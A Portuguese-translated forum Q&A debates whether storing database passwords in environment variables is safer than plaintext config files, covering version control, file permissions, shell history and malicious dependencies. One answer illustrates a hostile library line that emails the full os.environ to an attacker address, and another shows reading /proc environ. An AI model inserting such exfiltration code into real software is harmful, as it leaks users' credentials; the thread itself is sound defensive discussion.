É seguro armazenar senhas como variáveis ​​de ambiente (em vez de texto simples) em arquivos de configuração?

109

Eu trabalho em alguns aplicativos em rails, django (e um pouco de php), e uma das coisas que comecei a fazer em alguns deles foi armazenar banco de dados e outras senhas como variáveis ​​de ambiente em vez de texto simples em certos arquivos de configuração ( ou em settings.py, para aplicativos django).

Ao discutir isso com um de meus colaboradores, ele sugeriu que esta é uma prática ruim - que talvez não seja tão perfeitamente segura quanto pode parecer à primeira vista.

Portanto, gostaria de saber - esta é uma prática segura? É mais seguro armazenar senhas como texto simples nesses arquivos (certificando-se, é claro, de não deixar esses arquivos em repositórios públicos ou algo assim)?

gaio
fonte

Respostas:

45

Em um nível mais teórico, tendo a pensar sobre os níveis de segurança das seguintes maneiras (em ordem de força crescente):

  • Sem segurança. Texto simples. Qualquer pessoa que saiba onde procurar pode acessar os dados.
  • Segurança por Ofuscação. Você armazena os dados (texto simples) em algum lugar complicado, como uma variável de ambiente, ou em um arquivo que deve se parecer com um arquivo de configuração. Um invasor acabará descobrindo o que está acontecendo ou tropeçará nisso.
  • Segurança fornecida por criptografia trivial de quebrar (pense em cifra de César!).
  • Segurança fornecida por criptografia que pode ser quebrada com algum esforço.
  • Segurança fornecida por criptografia que é impraticável para quebrar um determinado hardware atual.
  • O sistema mais seguro é aquele que ninguém pode usar! :)

Variáveis ​​de ambiente são mais seguras do que arquivos de texto simples, porque são voláteis / descartáveis, não salvos; ou seja, se você definir apenas uma variável de ambiente local, como "definir pwd = qualquer coisa" e, em seguida, executar o script, com algo que sai do seu shell de comando no final do script, então a variável não existe mais. Seu caso se enquadra nas duas primeiras, que eu diria que são bastante inseguras. Se você fosse fazer isso, eu não recomendaria a implantação fora de sua intranet / rede doméstica imediata, e apenas para fins de teste.

John Carter
fonte
1
Depende do sistema operacional - na melhor das hipóteses, as variáveis ​​de ambiente são tão vulneráveis ​​quanto os arquivos de texto simples, mas provavelmente são piores. Com arquivos de texto simples, você pode definir as permissões de leitura nos arquivos / diretórios para protegê-los. IIRC para variáveis ​​de ambiente, eles vivem no espaço de memória para o processo shell, então um cracker empreendedor poderia escanear aquele espaço procurando por eles.
John Carter
1
espere um minuto: se você armazenar a credencial dentro de uma variável de ambiente, eles precisam chegar lá primeiro. Manualmente ou por script. Para automatizar a inicialização do seu software, eu recomendaria um script. Mas adivinhe, então você precisa armazená-los em um arquivo de configuração (para variáveis ​​env) mesmo assim. A menos que você não esteja fornecendo valores para as variáveis ​​env manualmente, não consigo ver nenhuma diferença de segurança nos arquivos de configuração.
matemática
59

Como mencionado antes, os dois métodos não fornecem nenhuma camada de "segurança" adicional uma vez que o sistema está comprometido. Eu acredito que uma das razões mais fortes para favorecer as variáveis ​​de ambiente é o controle de versão : eu vi muitas configurações de banco de dados etc. sendo acidentalmente armazenadas no sistema de controle de versão como o GIT para qualquer outro desenvolvedor ver (e opa! Aconteceu com eu também ...).

Não armazenar suas senhas em arquivos torna impossível que sejam armazenadas no sistema de controle de versão.

Emrass
fonte
6
Uma alternativa bastante razoável para não armazenar definições de configuração secretas no controle de versão é armazená-las em um repositório de controle de versão ou projeto separado do repositório do código.
Kenny Evitt
1
@KennyEvitt que ainda deixa senhas não protegidas em texto simples em um local compartilhado que qualquer pessoa com acesso ao repositório pode encontrar e nenhuma maneira de rastrear quem o acessou.
FistOfFury
2
@FistOfFury Claro, qualquer pessoa com acesso ao repositório ... pode acessar o repositório. O objetivo de armazenar segredos em um repositório separado é exatamente para que se possa controlar o acesso a esses segredos de forma diferente do que o próprio código. Mas os repositórios podem ser protegidos, por exemplo, você pode armazenar os segredos criptografados no 'local compartilhado'. E você pode até mesmo rastrear informações sobre o acesso ao repositório no local compartilhado. Mas, é claro, permitir que qualquer pessoa acesse as informações implica que eles podem copiar essas informações e, portanto, acessá-las a qualquer momento no futuro, sem restrição ou rastreamento.
Kenny Evitt
2
Excelente motivo para usar uma solução de gerenciamento de configuração que permite armazenar segredos criptografados e, em seguida, substituí-los em modelos de configuração no momento da renderização. Chef criptografou sacos de dados, Ansible tem cofres etc.
Brian Cline
1
Isso é chamado de Gerenciamento de acesso privilegiado, onde os segredos são armazenados em um Vault PAM centralizado com controles de acesso abrangentes. O Gartner lista alguns desses produtos .
Amit Naidu
44

Sempre que você precisa armazenar uma senha, ela não é segura. Período. Não há como armazenar uma senha não criptografada com segurança. Agora, qual das variáveis ​​de ambiente vs. arquivos de configuração é mais "seguro", talvez seja discutível. IMHO, se o seu sistema está comprometido, não importa onde ele está armazenado, um hacker diligente pode rastreá-lo.

Chris Pratt
fonte
12
Para variáveis ​​de ambiente, estou esperando unix aqui ... Variáveis ​​de ambiente são muito menos seguras do que arquivos. Qualquer pessoa pode verificar o ambiente de um processo em execução, mas os arquivos podem ter pelo menos ACLs.
Vatine
11
Visto que o desenvolvedor precisa armazenar essas senhas, essa não é uma resposta extremamente útil. Onde você sugere que ele os armazene?
Peter Nixey
2
@Vatine Places que expõe variáveis ​​de ambiente também têm permissões. Experimente, cat /proc/1/environpor exemplo.
Chris Down
4
@Vatine realmente? Não vejo nenhum ambiente para processos que não sejam meus em ps axe. strace -e open ps axemostra que está obtendo essa informação /proc/[pid]/environ, que tem aplicação de permissão (portanto, um monte de open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)).
Chris Down
4
Hã. Olha só, um problema foi finalmente resolvido (costumava ser o pssetuid e ficaria feliz em mostrar o ambiente de quase tudo).
Vatine
28

Desculpe, não tive representantes suficientes para comentar, mas também gostaria de acrescentar que, se você não tomar cuidado, seu shell pode capturar essa senha em seu histórico de comandos também. Portanto, executar algo como $ pwd=mypassword my_progmanualmente não é tão efêmero quanto você esperava.

brianclements
fonte
21
se você prefixar todo o "env var + command" com um espaço, ele não será armazenado no histórico
shadi
obrigado @shadi. Aprenda algo novo todos os dias! Eu me pergunto se isso é específico do shell / fácil de desligar ou se é algo que se pode esperar de forma consistente.
brianclements
4
Outra maneira é usar o read -s MY_PASS_VARque protegerá de buscas por histórico de conchas e surfistas de ombro.
MatrixManAtYrService
4
@brianclements Gostaria de acrescentar que prefixar o comando com um espaço só funciona se o shell atual HISTCONTROLestiver definido como ignorespaceou ignoreboth, então, tecnicamente, ele pode ser ligado / desligado.
Moisés
14

Acho que, quando possível, você deve armazenar suas credenciais em um arquivo gitignored e não como variáveis ​​de ambiente.

Uma das coisas a se considerar ao armazenar credenciais em variáveis ​​ENV (ambiente) versus um arquivo é que as variáveis ​​ENV podem ser facilmente inspecionadas por qualquer biblioteca ou dependência que você usar.

Isso pode ser feito de forma maliciosa ou não. Por exemplo, um autor de biblioteca poderia enviar por e-mail rastreamentos de pilha mais as variáveis ​​ENV para si mesmo para depuração (não é a melhor prática, mas é possível fazer).

Se suas credenciais estiverem em um arquivo, é muito mais difícil acessá-las.

Especificamente, pense em um npm no nó. Para um npm verificar se as suas credenciais estão no ENV é uma questão simples de process.ENV. Se, por outro lado, eles estiverem em um arquivo, é muito mais trabalhoso.

Se o seu arquivo de credenciais é controlado por versão ou não, é uma questão à parte. O não controle de versão de seu arquivo de credenciais o expõe a menos pessoas. Não há necessidade de todos os desenvolvedores saberem as credenciais de produção. Visto que isso segue o princípio do menor privilégio, eu sugeriria git ignorando seu arquivo de credenciais.

Peter Ajtai
fonte
6
+1 para "um autor de biblioteca pode enviar por e-mail rastreamentos de pilha mais as variáveis ​​ENV para si mesmo para depuração". Nunca pensei sobre esse cenário.
netishix
6

Depende do seu modelo de ameaça.

Você está tentando impedir que seus usuários espalhem senhas por todos os sistemas de arquivos, onde provavelmente serão esquecidas e maltratadas? Nesse caso, sim, porque as variáveis ​​ambientais são menos persistentes do que os arquivos.

Você está tentando se proteger contra algo malicioso que tem como alvo direto seu programa? Se sim, então não, porque as variáveis ​​de ambiente não têm o mesmo nível de controle de acesso que os arquivos.

Pessoalmente, acho que usuários negligentes são mais comuns do que adversários motivados, então eu escolheria a abordagem de variável de ambiente.

MatrixManAtYrService
fonte
0

AFAICT, há duas razões pelas quais as pessoas recomendam armazenar segredos em variáveis ​​de ambiente:

  1. É muito fácil enviar inadvertidamente arquivos simples secretos para um repositório. (E se for um repositório público, você está frito.)
  2. Ele evita a confusão de senhas, ou seja, ter a mesma chave em muitos arquivos de diretório de projeto diferentes é em si um risco de segurança, pois os desenvolvedores acabarão perdendo o controle de onde os segredos estão localizados.

Esses dois problemas podem ser resolvidos de maneiras melhores. O primeiro deve ser resolvido por um gancho de commit git que verifica as coisas que se parecem com senhas (por exemplo, gitleaks ). Gostaria que Linus construísse tal ferramenta no código-fonte da biblioteca git, mas, infelizmente, isso não aconteceu. (Não é preciso dizer que os arquivos secretos sempre devem ser adicionados .gitignore, mas você precisa de um gancho caso alguém se esqueça de fazer isso.)

O último pode ser resolvido com um arquivo global de segredos da empresa, que é armazenado idealmente em uma unidade compartilhada somente leitura. Portanto, em Python, você poderia ter algo como from company_secrets import *.

Mais importante, como apontado por outros, é muito fácil hackear segredos armazenados em variáveis ​​de ambiente. Por exemplo, em Python, um autor de biblioteca poderia inserir send_email(address="[email protected]", text=json.dumps(os.environ))e você estará frito se executar este código. Hackear é muito mais desafiador se você tiver um arquivo chamado em seu sistema ~/secret_company_stuff/.my_very_secret_company_stuff.

Apenas para usuários Django:
Django (no modo DEBUG) mostra o valor bruto de uma variável de ambiente no navegador se houver uma exceção (no modo DEBUG). Isso parece altamente inseguro se, por exemplo, um desenvolvedor entrar DEBUG=Trueem produção acidentalmente . Em contraste, o Django faz Ofuscação variáveis configurações de senha olhando para as cordas API, TOKEN, KEY, SECRET, PASSou SIGNATUREna de enquadramento settings.pynomes de variáveis do arquivo.

Pandichef
fonte